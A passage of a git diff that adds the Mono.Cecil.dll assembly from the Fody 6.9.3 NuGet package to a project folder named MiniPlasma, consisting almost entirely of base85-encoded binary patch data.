z=hi(Mv**)T$l^~)+@diS&yd1Q@PO-ud-b7*FEdFF7mo#ZQ#Ndb&#GxGWqVTp_>@XP8bbNQ+_l(thv^$EaVt!VEhQ%%L%;rvzfKs-{-iE>EdYag3F zA|7gt{J6R>6C7|zz@swLqAf#mRHoxLucwb-!Q27sLPyn!9<^L9fu(T-Lt_I+(vhA_ z+_1x`vHMLj+YuKJTv=XyyBnfY&t8Hg+%9&Yt+9uwI0S)cILRE0D9$q(jkwYvDg(Qa zhh6BV#Q#Fl5zL{P;I}0WkKppHaXD?`gruDcAr zO8#6G$JL*&qN>rL95V-jG{Arza$0ri%tqq2vs)lqM9~&qsq!6ICvH3UX6n6g_Tu<- zBsDN^sfwx@6am{pKorF#3GtRBnN{M-v^D<61YmCDRHQ#+W-Xm22=NV0CbJW|fn=-! zE|Vj`U?yNeSi+biq=;l`JVyeDaI%Ak!R4W@ad04?hFH>qU_R|;Ned(SG{%w^^Yz7C zeb>ej_Ov{>VP-OwZtv|O_d^;+yhB+`f&-DV5hy^!Lo^7knF-hzj!-BB{~uyYpep5J z<$;z2wg436Z%Kl=B)YpL!4OavgP?^b{kS9+$1+eX*Ti{DU;60fH_+Y%Mnj_@dP6-i ZFrBuM2P$de6@;K2p<+*t-#fl1`ClplLGAzm literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll new file mode 100644 index 0000000000000000000000000000000000000000..f10dd6a0480b078e2366a326e49c872bc5bdf45d GIT binary patch literal 361472 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 